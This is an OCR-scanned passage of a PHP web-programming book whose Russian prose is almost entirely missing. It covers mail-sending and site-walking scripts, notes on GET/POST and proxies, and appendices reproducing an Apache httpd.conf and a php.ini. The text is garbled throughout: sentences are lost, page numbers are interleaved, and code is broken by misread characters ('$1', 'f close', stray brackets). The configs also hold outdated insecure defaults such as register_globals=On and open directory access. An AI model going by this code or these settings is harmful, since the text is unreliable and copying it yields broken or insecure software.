function EncodeString($st,$to,$from=DefaultCode)
{ //
$from=strtolower(substr($from, 0,1));
$to =strtolower(substr($to, 0,1));
//
if($to!="t") return convert_cyr_string($st,$from,$to);
// Translit,
// "" strtr().
// "" .
$st=strtr($st, "",
"abvgdeeziyklmnoprstufh'ie") ;
$st=strtr($st,"",
"ABVGDEEZIYKLMNOPRSTUFH'IE");
// "".
$st=strtr($st,array(
""=>"", "u"=>"ts", "4"=>"ch", "ui"=>"sh",
""=>"",""=>"",
""=>"", ""=>"",
""=>"2", ""=>"", ""=>"", ""=>"",
489
V.
490
/ / .
return $st;
// Content-tyep charset
// .
global $CoderCharset;
$CoderCharset ["w" ]="windows-1251";
$CoderCharset [ "i" ] ="iso-8859-5" ;
$CoderCharset ["k"] ="koi8-r";
$CoderCharset [ "m" ] ="x-mac-cyrillic" ;
$CoderCharset [ "t" ] ="koi8-r" ;
// ( From: . .) .
def ine ("MailDivider", "-StartOfMail") ;
// $msg $to,
// SencTo.
// charset (
// ": ",
// ": <vasya@pupkin. ru>") .
// Win32, , ,
// .
// ,
// -StartOfMail.
function SendMail ($to, $msg, $encTo=DefaultCode, $encFrom=DefaultCode)
{ global SCoderCharset;
/ /
$msg=EncodeString ($rnsg, SencTo, $encFrom) ; //
$head="";
//
// , .
if (strpos ($msg,MailDivider) !==false) {
$regs=split (MailDivider. "\r?\n?", $msg, 2) ; //
$head=trim($regs [0] ) ;
$msg=$regs [1] ;
32.
/ / . .
if($head) $Lines=split ( " ( \r\n] +", $head) ; else $Lines=array ( ) ;
$HasContType=0;
// Content-type
}
// "to"
// . ;/ .
if (eregi ("Ato: ( [\\]*) ", $1, $regs) ) {
$to=trim($regs [1] } . " <$to>";
$1="";
}
// Subiect. PHP
// mail()
// .
// Subject , .
if (eregi ('^subject: ( [\\] *) ", $1, $regs) ) (
$subject=trim($regs [1] ) ;
// Content-type .
if ( !$HasContType) $Lines [ ] ="Content-type: text/plain; $chs"
// .
$head=ereg_Replace ("\n\n+", "\n", join ( "\n", $ Lines) ) ;
// .
$Result=@mail ($to, $subject, $msg, $head) 1=0;,
491
492
V.
// Windows ( ) .
if (getenv ( "COMSPEC" ) ) {
if ( !@is_dir ("debug") ) mkdir ("debug", 0755) ;
-\n") ;
\n\n" ) ;
fclose($f) ;
}
return $Result;
// file:, ,
// ExpandFile () .
// $msg,
function PostMail ($to, $msg, $encTo=DefaultCode,
$Vars=false, $encFrom=DefaultCode)
( if (eregi (""file: (.*) (\n|\$) ",$msg,$P) )
$Text=ExpandFile (trim($P[l] ) ,$Vars) ;
else
$Text=ExpandTemplate (Smsg, SVars) ;
// .
return SendMail ($to, $Text, $encTo, $encFrom) ;
Encodestring ( ) ,
.
"" ( "")
, "" -
32.
493
. , vot stroka,
zapisannaya translitom.
Unix, "" .
.
, ,
:
_I |timestamp_noflriMCKM|
,
""
. , SNews.
( 32.3):
32.3. "" : mail. txt
Content-type: text/plain
From: <subscribe@ourserver . ru>
To: <?=$User [ 'name' ] ?>.
Subject:
Content-type: text/plain
-StartOfMail
<?=$0ser [ 'name ' ] ?>!
<?=date ("d. m. Y", $User [' time '])?>
.
<?foreach($News as $k=>$v) { ?>
<?=WordWrap($v, 60) ?>.
, . $user ( ) $News ( ), . ,
.
content-type
. , 20, -
V.
494
, ""
.
, . ?
, ?>,
, \. , ,
, , . , ?> . -, ,
, .
, , , 60 ,
wordwrap ( ) . 12 .
32.4 , , , .
: 32.4.
// "" .
include "$DOCOMENT_ROOT/php/Librarian.phl";
// PostMailO
Uses ("Mail" ) ;
// . . .
// $News,
// .
// .
/ / .
$F=File ("db.txt") ;
foreach ($F as $s) {
$User=explode (" I ", trim($s) ) ;
// .
$User=array (
"name"
32.
405
);
// maii.txt
// , .
PostMail ($User [ 'email ' ] , "file: mail. txt", $User [ 'encode' ] ) ;
,
PostMail . , .
$user $News , , .
. , attachmenfoB ( "
"), , "",
.
M a i l . p h l , "".
, :
, - , .
33
, .
- , . ,
(, 10 ), . php.ini. , , Web, .
. ,
, . , , , -, . ,
.
, ?
, ,
. , ,
, . , ,
,
, , . ,
, , .
"" , . (
), ,
-.
33.
497
,
, , , 2- . , ,
"" .
, ,
, .
.
w a i k s i t e t ) , . 33.1
, . ""
, . -, "" ,
(, , . .), w a i k s i t e
, ,
, ,
. , (
) ,
,
, .
33.1. : siteWalker .phi
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
.
,
$cache. , ,
, $Root.
$time ( 0,
).
,
$Func.
: function FWalker(string $fname, array &$Result)
$fname
$Result
( ). $Result
.
true, ,
false, .
498
V.
=> array
//
);
// . ,
if ($f=@fopen($cache, "rb") ) {
if (@flock($f,LOCK_SH) ) {
$Prg=Unserialize (f read ($f , filesize ($cache) ) ) ;
f c l o s e ($f ) ;
//
// .
// $Prg['Res'],
// . , ,
// "" .
do (
/ /
$fname=array_shift ($Prg[ 'Todo' ] ) ;
// ,
if ( ! @is_file ($fname) && ! @is_dir (Sfname) ) continue;
// ,
if (@is_dir ($fname) ) {
$FiIes=array ( ) ;
for ($d=openDir($f name) ; $e=readDir ($d) ; ) {
if ($e=". " I |$e==". . ") continue;
$Files[]="$fname/Se";
}
closeDir ($d) ;
// ,
//
1
33.
499
//
$Func($fname,$Prg['Res1] ) ;
// , ,
// .
} while (time () -$Start<$time && count ($Prg[ 'Todo' ]));
// $Result.
$Result=$Prg['Res'] ;
// , .
if (count ($Prg[ 'Todo'] ) ) (
// . .
$f=fopen($cache, "+") ;
f lock ($f , LOCK_EX) ;
ftruncate($f,0) ;
fwrite ($f , Serialize ($Prg) ) ;
fflush($f); f close ($f);
return true; //
}
// . .
@unlink($cache) ;
return false;
// "" .
include "$DOCUMENT_ROOT/php/Librarian.phl";
// WalkSite .
UsesC'SiteWalker") ;
// .
173. 699
500
V.
//
/ / SResult ( ) .
function Walk($fname, &$Result)
{ //
print ">$fname<br>";
//
$Result []="Sfname: <b>" . f ilesize ($fname) ."</b>";
// WalkSite ( ) false, , .
if ( !WalkSite($DOCUMENT_ROOT, "Walk", "map", 0, $Result) ) {
// ,
// Walk ( ) .
// HTML- ,
// $Result.
print "<hr>";
print join("<br>\n", $Result) ;
} else {
// ,
// .
print "<meta http-equiv=ref resh content='0; url=$SCRIPT_NAME'>";
w a i k s i t e o
, . , .
, , , "" . ,
, ,
" ", . "" .
, ,
.
^"
WalkSite 33.2 ,
. , .
15 IV.
33.
501
(, , self-redirect) ,
() . ,
, ? ,
, Web.
. ,
, 30.
http://www.ourserver.ru/book/index.htmi. , , -,
, -, "".
action <form> index.html ( ),
.
, , .
-, .
. ,
. . , ,
, , , .
, . POST, : "
, POST.
( )?" , , , " ".
,
, "". , : " ", "" ,
.
,
GET.
" " ,
. : GET ,
502
V.
URL , , ?,
( ).
~
, GET , , . .
, , .
, , GET.
POST.
, proxy-
, GET, POST.
,
. , ,
, , .
POST,
HTML-, , "". ,
, .
,
" ".
Netscape, , ,
, (
). : URL , "",
, . 33.3 , .
.
] 33.3.
"
// .
$Book=@Unserialize ( join ("", File ("book.dat") ) ) ;
if(!$Book) $Book=array ( ) ;
// , ...
if(@$Go) {
array_unshift ($Book,$Text) ;
$f=f open ("book.dat", "w") ;
33.
503
"" URL , 1
1970 ( Unk timestamp). , ,
.
, Location
URL , . "" (, ), , .
,
, ,
" " proxy-, . , .
, "" , . , "" , , .
proxy- , .
504
V.
33.4 ,
, proxy-
. , 4 . , proxy- ( )
" ", .
| 33.4.
, .
"
, 30, .
.
checkbox
(checkbox ) , Web-. , , ,
,
_=.
, ,
. , . , ,
- , .
, . (hidden) ,
, , , . :
| 33.5.
if(@$Go)
33.
505
,
POST, , . , "" (
-).
VI
4\
iui
"'''
- '<-
\_ ''is
Apache httpd.conf
Apache httpd.conf .
~~)
1.1
Apache, II . -
Apache 4, ,
httpd . conf .
httpd.conf. ,
Apache.
. # . .
, . Apache . - <>, , , ,
</>. ( ) .
, , .htaccess, .
, httpd.conf.
, Apache.
| 1.1. Apache httpd . conf
i NSCA,
# .
#
# Apache, ,
510
VI.
# .
# http://www.apache.org/docs/.
#
# .
#
I .
# . , .
#
# httpd.conf
# :
# :/Program Files/Apache Group/Apache/conf/srm.conf,
I :/Program Files/Apache Group/Apache/conf/access.conf,
# ResourceConfig
# / AccessConfig.
# :
#
# 1. , Apache (
#
).
# 2. , "" ,
if
" ", ,
it
# 3. ,
#
it
Web - Apache,
IP- .
#
#
# ( "" "",
# , , ,
# ).
# , ,
# / ( ":/" Win32),
# .
# "/",
# ServerRoot. , logs/foo.log ServerRoot,
# /usr/local/apache,
# /usr/local/apache/logs/too.log.
1. Apache httpd.conf
51 1
f :
tt (. . : /apache c:\apache) .
# , ,
# Apache.exe; , , ,
# .
it
### 1:
#
# Apache, ,
# , , ,
# .
# ServerRoot : ,
I , .
#
# !
ServerRoot ": /Program Files/Apache Group/Apache"
#
# PidFiie: ,
# .
PidFile logs/httpd.pid
# ScoreBoardFile : ,
# . .
I ( ,
# , Apache) , ,
# Apache
# .
ScoreBoardFile logs/apache_runtime_status
512
VI,
#
i
# httpd.conf, srm.conf access.conf ( ).
# ,
# ,
# (htt-pcl. conf) .
# .
# ,
# "". ,
# , /dev/null (
# Unix) nul ( Win32).
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf
#
# Timeout: ,
# -.
Timeout 300
#
# KeepAlive: ,
# (persistent connections) (..
# ). Off.
KeepAlive On
if
# MaxKeepAliveRequests: ,
# . ,
#
# .
MaxKeepAliveRequests 100
#
# KeepAliveTimeout:
# .
KeepAliveTimeout 15
#
# Apache Win32
1.
Apache
httpd.conf
513
# . - ,
# .
# .
# .
#
# MaxRequestsPerChild: ,
# .
# ,
# , Apache ( ) ,
# .
# , (, Solaris)
# . , Win32
# 0 ( ) .
#
MaxRequestsPerChild
# ThreadsPerChild: (..
# ) , .
# (
# , )
# , .
#
ThreadsPerChild 50
#
# Listen: Apache IP, /
# , , . .
# <VirtualHost>.
ft
ttListen 3000
#Listen 12.34.56.78:80
tt
# BindAddress:
# . IP,
# . *, IP
I . . <VirtualHost> Listen.
514
VI.
tBindAddress *
if
# ,
# DSO,
# LoadModuleTorfla
# .
# DSO
I README. DSO Apache 1.3,
# 'apache -1',
# ( )
# Apache .
# : , ,
# .
# .
#
#LoadModule anon_auth_module modules/ApacheModuleAuthAnon.dll
#LoadModule dbm_auth_module modules/ApacheModuleAuthDBM.dll
#LoadModule digest__auth_module modules /ApacheModuleAuthDigest . dll
#LoadModule cern_meta_module modules /ApacheModuleCERNMeta.dll
#LoadModule digest_module modules/ApacheModuleDigest .dll
#LoaoWodule expires_module modules/ApacheModuleExpires .dll
#LoadModule headers_module modules/ApacheModuleHeaders .dll
lLoadModule proxy_module modules/ApacheModuleProxy.dll
#LoaoModule rewrite_module modules/ApacheModuleRewrite.dll
#LoadModule speling_module modules/ApacheModuleSpeling.dll
tLoadModule info_module modules/ApacheModulelnfo.dll
ILoadModule status_module modules /ApacheModuleStatus .dll
#LoadModule usertrack_module modules /ApacheModuleUserTrack. dll
# ExtendedStatus , Apache
# (ExtendedStatus On)
# (ExtendedStatus Off)
# server-status. Off.
1. Apache httpd.conf
515
ft
ttExtendedStatus
On
### 2:
fl
# , "
# ", ,
# .
# <VirtualHost>,
# .
#
#
# <VirtualHost>;
# .
tt ServerType ( "
t ") inetd,
# ,
# inetd. ServerAdmin.
#
# Port: , .
#
Port 80
I ServerAdmin: ,
# .
# , , ,
t
ServerAdmin you@your.address
# ServerName , ,
I , (,
# www ).
516
VI.
# : ,
# . , ,
# DNS .
I
# .
# DNS,
# IP.
# (, http://123.45.67.89/)
# .
It
ServerName localhost
#
#
#
#
#
DocumentRoot: , (..
Web-) . , ;
(links) (aliases) .
# , Apache ,
# ,
# / ( ! .
#
# " " .
if
<Directory z:/>
Options Indexes Includes
AllowOverride All
allow from all
</'Directory>
#
#
#
#
#
,
, , , -
, , ,
.
1. Apache httpd.conf
517
#
# ,
# DocumentRoot.
#
tt<Directory "z:/home/localhost/www">;
tt
# None, All
# Indexes, Includes, FollowSymLinks, ExecCGI MultiViews.
#
#
# ,
# .htaccess. All
# Options, Filelnfo, AuthConfig Limit.
#
#
AllowOverride None
# , ,
# .
I
tt Oraei i J.GW, deny
!
#
Allow from all
#</Directory>
#
t
t
#
t
#
#
I
#
UserDir: ,
-user
(, http://www.server.com/~username).
Win32 '
, ,
.
518
VI.
<IfModule mod_userdir.>
UserDir
</IfModule>
*f
# Directorylndex: ( ),
# - .
# , .
ft
<IfModule mod_dir.c>
Directorylndex index.htm index.html
</IfModule>
tt
# AccessFileName: ,
.
ft
AccessFileName .htaccess
#
# .htaccess
t Web-. .htaccess
# , .
# ( ),
# ,
f .htaccess Web. AccessFileName
# , .
#
<Files ~ "\.">
Order allow,deny
Deny from all
</Files>
#
# CacheNegotiatedDocs: Apache
# "Pragma: no-cache", proxy-
# . ,
# proxy-
# .
1. Apache httpd.conf
519
tt
#CacheNegotiatedDocs
#
I UseCanonicalName: ( 1.3.)
# (On), , Apache
# (self-referencing URL, .. ,
# ), " "
# ServerName Port, .
# (Off), Apache
# , .
# SERVER_NAME SERVER_PORT CGI-.
#
UseCanonicalName On
#
tt TypesConfig mime.types
# ( ).
11
<IfModule mod_mime.>
TypesConfig conf/mime.types
</IfModule>
tt DefaultType MIME-,
# - ,
# , , .
I HTML-, text/plain
I .
# ,
tt application/octet-stream,
# .
tt
DefaultType text/plain
tt
# mod_mime_magic
# .
# MIMEMagicFile , .
520
VI.
I mod_mime_magic (
# LoadModule - . DSO
# " ",
# ) , MIMEMagicFile
# <IfModule>. , ,
# mod mime magic .
#
<IfModule mod_mime_magic . >
MIMEMagicFile conf/magic
</IfModule>
it
# HostnameLookups ,
# , IP, .. www.apache.org (On)
# 204.62.129.132 (Off) . Off,
tt ,
# , , .. ,
#
# IP- .
#
HostnameLookups Off
#
# ErrorLog: .
# ErrorLog <VirtualHost>,
# , ,
# .
# .
#
ErrorLog logs/error . log
# LogLevel : ,
# error.log. :
# debug, info, notice, warn, error, crit, alert, emerg.
-ft
LogLevel warn
1. Apache httpd.conf
521
#
# ,
# CustomLog (, ).
#
# ().
I - <VirtualHost>,
# . -
# , ,
# .
#
# , (referer logfiles
# agent), .
#
# - ,
# ( -),
i .
ttCustomLog logs/access.log combined
# ,
# ,
# ( , FTP,
# mod_status mod_info, CGI-).
# mailto:, ServerAdmin,
tt EMail.
522
VI.
# : On | Off | Email
#
ServerSignature On
it
#
#
#
#
#
#
#
Apache CGI-.
: !#),
(!) , ,
-,
, Apache .
, perl-, perl.exe
C:\Program FilesXPerl, :
# !:/program files/perl/perl
#
#
#
#
#
#
#
#
#
#
#
#
: (#).
,
. ,
CGI , ScriptAlias
Options ExecCGI.
, Apache Windows ""
.
, , ,
, .
.
#
# . ,
# Apache .
# , Apache ""
# . , Apache 2.0.
tt
# Windows ,
# , "" ,
# :
ScriptInterpreterSource registry
#
1. Apache htipd.conf
523
# <Directory>
# .htaccess registry
# ( Windows) script ( "" ,
I Unix). ,
# , .
#
#
# : (
# ).
# : Alias _
#
<IfModule mod_alias.c>
i ,
# "", URL. ,
# /icons , /icons/.
#
Alias /icons/ ":/Program Files/Apache Group/Apache/icons/"
<Directory "C:/Program Files/Apache Group/Apache/icons">
Options Indexes MultiViews
AllowOverride
None
Order allow,deny
Allow from all
</Directory>
#
# ScriptAlias: ,
# . ScriptAlias' ,
I , ,
# " "
# , .
tt ScriptAlias
# /, Alias.
#
ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/"
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
</IfModule>
tt .
524
__
VI.
#
# Redirect ,
# ,
# . .
S
# : Redirect _ _
# , .
#
<IfModule mod_autoindex. c>
#
# Fancylndexing ,
# "".
# IndexOptions . .
#
IndexOptions Fancylndexing
#
# Addlcon* ,
# .
# Fancylndexing.
#
1. Apache httpd.conf
525
Addlcon /icons/c.gif .
Addlcon /icons/p.gif .pi .py
Addlcon /icons/f.gif .for
Addlcon /icons/dvi .gif .dvi
Addlcon /icons/uuencoded. gif . uu
# Defaultlcon
# .
#
Defaultlcon /icons/unknown. gif
I AddDescription
# ( ) , .
# Fancy Indexing .
#
# : AddDescription "_" . __
#
#AddDescription "GZIP compressed document" . gz
#AddDescription "tar archive" .tar
ttAddDescription "GZIP compressed tar archive" . tgz
tt
# ReadmeName README- ,
# .
I
# HeaderName ,
I .
tt
# MultiViews Options,
526
VI.
# . html
# , . . html ,
#
# -txt .
#
ReadmeName README
HeaderName HEADER
#
ft Indexlgnore ,
# .
# shell.
Indexlgnore . ??* *~ *# HEADER* README* RCS CVS *,v *,t
</IfModule>
# .
tt
# .
#
<IfModule mod mime. c>
# AddEncoding
# (Mosaic/X 2.1+) " ".
# : .
# , Add*
# Fancylndexing,
# .
#
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
#
It
# AddLanguage .
# (content negotiation)
# , () .
#
# 1 :
1. Apache httpd.conf
527
# ,
# ( pi),
# AddLanguage pi .
# Perl.
#
# 2: ,
I
# .
I , "/da" "/dk".
it
# 3: Itz RFC,
# . . ,
# , RFC1766 .
# :
# (Danish) da; , (Dutch) nl;
# (English) en; (Estonian) ;
# (French) fr; (German) de;
tt (Greek-Modern) el; (Italian) it;
# (Portuguese) pt;
# (Luxembourgeois*) Itz;
I (Spanish) es; (Swedish) sv;
# (Catalan) ca; (Czech) cz;
# (Russian) ru.
*
AddLanguage da .dk
AddLanguage nl .nl
AddLanguage en .en
AddLanguage.et .
AddLanguage f r .f r
AddLanguage de .de
AddLanguage el .el
AddLanguage he .he
AddCharset ISO-8859-8 .iso8859-8
AddLanguage it .it
AddLanguage j a .j a
AddCharset ISO-2022-JP .jis
AddLanguage kr .kr
AddCharset ISO-2022-KR .iso-kr
528
VI.
AddLanguage no .no
AddLanguage pi .po
AddCharset ISO-8859-2 .iso-pl
AddLanguage
AddLanguage
AddLanguage
AddLanguage
pt .pt
pt-br .pt-br
Itz .lu
ca .ca
AddLanguage es .es
AddLanguage sv .se
AddLanguage cz . cz
AddLanguage ru .ru
AddLanguage tw .tw
AddCharset Big5
.Big5
. big5
.cp866
AddCharset ISO-8859-5
.iso-ru
AddCharset KOI8-R
.koi8-r
AddCharset UCS-2
.ucs2
AddCharset UCS-4
.ucs4
AddCharset UTF-8
.utf8
I LanguagePriority
# .
#
# , .
# .
<IfModule mod_negotiation.c>
LanguagePriority en da nl fr de el it ja no pi pt ru ca es sv tw
</IfModule>
#
# AddType mime.types, ,
# .
#
# , (
# Apache), :
#
#AddType application/x-httpd-php3 .php3
1. Apache httpd.conf
529
tt
# PHP 4.x :
#
AddType application/x-httpd-php .php
I AddType application/x-httpd-php-source .phps
# ,
tt :
#
ScriptAlias /_php/ ":/Program Files/PHP4/"
Action application/x-httpd-php
"/_php/php.exe"
# AddHandler
# .
# ,
# Action (. ).
#
t ,
tt (SSI server side includes),
I :
#
# CGI tt
# HTML-,
tt (server-parsed HTML files):
#
AddType text/html
.shtml
# , Apache
# ,
VI.
530
it
# -,
# , :
#
# AddHandler imap-file map
tt
# (type maps, .
tt ), :
#
# AddHandler type-map var
</IfModule>
# .
tt
# Action , ,
# .
# URL
# CGI-.
# : Action _ /_/
tt Action
/
/ /
#
t?
#
#
#
#
#
MetaDir: , Apache
. HTTP,
.
MetaDir .web
# MetaSuffix , .
#
# MetaSuffix .meta
531
tt
# ( Apache)
# .
I 1)
tt ErrorDocument 500 " --!"
tt : ,
#
.
I
tt 2)
#
:
I
ErrorDocument 404 /missing.html
It
, ,
t
:
#
ErrorDocument 404 /cgi-bin/missing_handler.pi
tt
# 3)
#
ErrorDocument 402 http://some.other_server.com/info.html
tt , ,
#
.
#
# , .
tt
<IfModule mod_setenvif.c>
#
#
tt (keepalives) "" HTTP.
# Netscape 2.x , "",
# Netscape (
# ; . Microsoft Internet
t Explorer 4.0b2, /1.1
I keepalive,
t 301 302 ().
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
183. 699
532
VI.
tf
# /1.1 ,
# /1.0
# 1.1.
#
BrowserMatch "RealPlayer 4\.0" force-response-1 .
BrowserMatch "Java/l\.0" force-response-1. 0
BrowserMatch "JDK/lVO" force-response-1 . 0
f , .
#
# ,
# URL http: //servername/server-status .
# . your_domain. com.
#
# <Location /server-status>
SetHandler server-status
# </Location>
#
#
# http: //servername/server-info (,
# mod_info.c) . . your_domain . com .
#
ri ^Location /server -info>
SetHandler server-info
it
# </Location>
# ,
# Apache. CGI-,
1. Apache httpd.conf
533
i Apache.
# ,
# phf.apache.org.
# , support/phf_abuse_log.cgi.
#
# <Location /cgi-bin/phf*>
I
# </Location>
# proxy-.
#
# <IfModule mod_proxy.c>
# ,
# proxy.
# ProxyRequests On
# <Directory proxy:*>
#
Order deny,allow
# </Directory>
#
# / HTTP/1.1 Via:.
# : Off I On I Full I Block. Full
# , Block
tt Via:.
#
# ProxyVia On
#
#
#
#
t
#
i
(
CacheRoot):
CacheRoot ":/Program Files/Apache Group/Apache/proxy"
CacheSize 5
VI.
534
# CacheGdnterval 4
# CacheMaxExpire 24
# CacheLastModifiedFactor
0.1
I CacheDefaultExpire 1
# NoCache a_domain.com another^domain.edu joes.garage_sale.com
I </IfModule>
ft proxy-.
### 3:
#
# VirtualHost:
# , VirtualHost.
# ,
# http://www.apache.org/docs/vhosts/.
# -S
# .
#
# (name-based
# virtual hosts),
I IP ( ).
I
NarneVirtualHost
127.0.0.1:80
# VirtualHost:
# VirtualHost
# Apache.
#
# <VirtualHost ip.address.of.host.some_domain.com>
#
ServerAdmin webmaster@host.some_domain.com
tf
DocumentRoot /www/docs/host.some_domain.com
it
ft ErrorLog
logs/host.5ome_domain.com-error_iog
#
CustomLog logs/host.some domain.corn-access log common
ft </VirtualHost>
# <VirtualHost _default_:*>
# </VirtualHost>
1. Apache httpd.conf
# ,
tt .
#
localhost
<VirtualHost localhost>
ServerAdmin webmaster@localhost.ru
ServerName localhost
DocumentRoot "z:/home/localhost/www"
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
ErrorLog z:/home/localhost/error.log
CustomLog z:/home/localhost/access.log common
</VirtualHost>
#
hacker
<VirtualHost hacker>
ServerAdmin webmaster@hacker.ru
ServerName hacker
DocumentRoot "z:/home/hacker/www"
ScriptAlias /cgi/ "z:/home/hacker/cgi/"
ErrorLog z:/home/hacker/error.log
CustomLog z:/home/hacker/access.log common
</VirtualHost>
#
cracker
<VirtualHost cracker>
ServerAdmin webmaster@cracker.ru
ServerName cracker
DocumentRoot "z:/home/cracker/www"
ScriptAlias /cgi/ "z:/home/cracker/cgi/"
ErrorLog z:/home/cracker/error.log
CustomLog z:/home/cracker/access.log common
</VirtualHost>
# Apache.
535
PHPphp.ini
2, , , PHP php. ini.
2.1 Windows, II . , ,
( php.ini-dist)
, Apache.
, .
, php. ini:
auto_prepend_file=top. html
httpd.conf .htaccess :
php_value auto_prepend_f ile=top.html
.
IV . -,
- , , , , : http://www.php.net.
2. php.ini
537
; ;
.
, 'php.ini'.
, ,
PHPRC, , , ,
( ).
Windows , ,
Windows (
c:\windows). ,
'php.ini', -
.
. ( , ,
. .), , (;)
( , , ).
(, [Foo]) , , ,
.
:
directive=value
foo=bar
, F00=bar.
value , , (,
E_ALL _1), INI- (On, Off, True, False, Yes, No
None), (, E_ALL & ~E_NOTICE),
("foo").
, :
|
(OR)
&
(AND)
(NOT)
!
(NOT)
VI.
535
""
1, On, True Yes. "" 0, Off,
False No.
, " "
, None:
foo=
; foo
foo=none
foo="none"
; foo ''
-
( Zend),
, .
php.ini-dist
. php.ini ,
, .
; Apache.
engine=0n
; <?.
; <? <script>.
short_open_tag=0n
; <% %> - ASP.
asp_tags=0ff
; ,
; .
precision=14
; ( 2000 ,
; ,
; )
y2k_compliance=0ff
539
. (
Cookies) . ,
.
,
:
output_buffering=0ff
; ,
; .
; flush
; print() echo() HTML-.
; ,
; .
implicit_flush=0ff
,
.
, , ,
PHP/Zend.
,
. , Off
, - . ,
,
. ,
,
,
allow_caIl_t ime_pa ss_reference=0n
;
s a f e__mode=0 f f
safe_mode_exec_dir=
;
; "" .
; .
; ,
; .
540
VI.
;
; , _ (,
; PHP_FOO=something).
; : ,
; !
safe_mode_allowed_env_vars=PHP_
;
; ,
; putenv().
; ,
; .
safe_mode_protected_env_vars=LD_LIBRARY_PATH
;
; . ,
; . ,
; !
disable_functions=
; . ,
; <font color=???>, .
highlight.string=#DDOOOO
highlight.comment=#FF8000
highlight.keyword=#007700
highlight.bg=#FFFFFF
highlight.default=#OOOOBB
highlight.html=#000000
,
X-Powered-by , , , ,
.
, ,
, .
expo s e_php=0n
541
; ;
; .
; , .
max_execution_time=30
; , (8MB)
memory_limit=8M
; ;
error_reporting
. ,
I
E_ALL
(OR):
- .
E_ERROR
- .
E_WARNING
- .
E_PARSE
- .
E_NOTICE
- (
, , ,
, ,
).
- .
E_CORE_WARNING
COMPILE ERROR
- .
E_COMPILE_WARNING
- .
E_USER_ERROR
- .
E_USER_WARNING
- .
E_USER_NOTICE
- .
- .
:
,
error_reporting = E_ALL & ~E_NOTICE
error_reporting=E_COMPILE_ERRORIE_ERRORIE_CORE_ERROR
,
542
VI.
error_reporting= E_ALL
.
(. ).
display_errors ""
: , ,
. .
dispiay_errors=On
; display_errors , ,
; , .
; , ,
; .
display_startup_errors=Off
; .
; , stderr
; error log, .
; ,
; , .
log_errors=Off
;
; $php_errormsg
track errors=0n
; , .
;error_prepend_string="<font color=ff0000>"
; , .
;error_append_string="</font>"
; , .
; error__log=f ilename;
; , .
;error_log=syslog
; , + .
warn_plus_overloading=0ff
543
; : track_vars , 4.0.3.
; ,
; , GET, POST,
; (,
; G, , , S, , EGPCS GPC) .
; ,
; .
variables ordei="EGPCS"
; EGPCS-
; . , ,
; "" .
; , track_vars
; GPC- $_??? _VARS .
; ,
; register_globals .
; , , ,
; ,
; .
register_globals=On
; ,
; Sargv $argc , GET.
; , register__argc__argv
; .
register_argc_argv=0n
; POST, .
post_max_size=8M
; variables_order .
order="GPC"
; :
; GET/POST/Cookie
magic_quotes_gpc=0ff
544
VI.
; , ,
; SQL, exec . .
magic_quotes_runtime=0ff
; Sybase-style ( '
; '', \')
magi c_quotes_sybase=0ff
; ,
; .
auto_prepend_file=
auto_append_file=
; 4.04,
; Content-type. ,
; . .
; text/html .
default_mimetype="text/html"
;default charset="iso-8859-l"
; ;
; UNIX: "/pathl:/path2".
; Windows: "\pathl;\path2"
include_path=
; PHP-.
; , "".
doc_root=
; ,
; /-username. He , "".
user_dir=
; , .
extension_dir=C:/Program Files/PHP4/extensions
2. PHP php.ini
545
; dl().
; dl() Web-,
; , ] 71], v. .
enable dl=0n
; ;
;
file_uploads=0n
; ,
; ( ,
; )
; upload_tmp_dir=
;
upload max_filesize=2M
; ;
, - ,
extension :
extension=modulename.extension
, Windows:
extension=msql.dll
UNIX:
extension=msql.so
, .
, ,
extension_dir, .
Windows
: MySQL ODBC ,
DLL.
extension=php_cpdf.dll
546
VI.
; extension=php_cybercash. dll
;extension-php db.dll
;extension=php -dbase.dll
;extension=php_domxml.dll
;extension=php_dotnet.dll
;extension=php_exif.dll
;extension=php_fdf.dl1
extension=php_gd.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
;extensjon=php imap.dll
;extension=php_interbase.dll
;extension=php Java.dll
;extension=php_ldap.dll
;extension=php_mhash.dll
;extension=php_mssq!65.dll
;extension=php_mssql70.dll
;extension=php_oc18.dll
;extension=php_oracle.dll
;extension=php_pdf.dll
;extension=php_pgsql.dll
;extension=php_sablot.dll
;extension=php_swf.dll
;extension=php_sybase_ct.dll
;extension=php_zlib.dll
; ;
[Syslog]
; Syslog,
; $LOG_PID, $LOG_CRON . .
; .
;
; define_syslog_variables().
define_syslog_variables=Off
[mail function]
2. PHP php.ini
; Win32 SMTP-.
SMTP=mail.dklab.ru
; Win32 From: ,
sendmail frorr,= dk@dkJab.ru
; UNIX sendmail (
; 'sendmail -t -i').
;sendmail_path=
[Debugger]
debugger.host=localhost
debugger.port=7 8 6 9
debugger.enabled=False
[Logging]
; -.
; . examples/README.logging.
;logging.method=db
;logging.directory=/path/to/log/directory
[Java]
; "i . 1, ass . path=. \php Java . jar
;java.home=c:\jdk
;Java.library=c:\jdk\jre\bin\hotspot\jvm.dll
;Java.library.path=.\
[SQL]
sql.safe_mode=0ff
[ODBC]
;uodbc.default_db=Not yet implemented
;uodbc.defauit_user=Not yet implemented
;uodbc.default_pw=Not yet implemented
;
uodbc.allow_persistent=0n
; ,
uodbc.check persistent=On
547
VI.
548
; , . -1 , .
uodbc.max persistent=-l
; LONG-.
uodbc.defaultlrl=4096
; . passthru, 1 -
; as is, 2 - ,
uodbc.defaultbinmode=l
; . odbc binmode odbc longreadlen
; uodbc.defaultlrl
; uodbc.defaultbinmode.
[MySQL]
mysql.allow_persistent=0n
mysql.max_persistent=-l
mysql.max_links=-l
; mysql_connect(). ,
; $MYSQL_TCP_PORT mysql-tcp
; /etc/services,
; MYSQL_PORT ( ). Win32
; .
mysql.default_port=
; MySQL. ,
; ,
mysql.default_socket=
; mysql_connect()
).
mysql.default_host=
; ( ).
mysql.default user=
2. PHP php.ini
549
( ).
: .
, ,
:
echo cfg_get_var("mysql.default_password")
, ,
php.ini.
mysql.default_password=
[mSQL]
msql.allow_persistent=0n
msql.max_persistent=-l
msql.max_links=-l
[PostgresSQL]
pgsql.allow_persistent=0n
pgsql.max_persistent=-l
pgsql.max_links=-l
[Sybase]
Sybase.allow_persistent=0n
sybase.max_persistent=-l
Sybase.max_links=-l
;sybase.interface_file="/usr/Sybase/interfaces"
; .
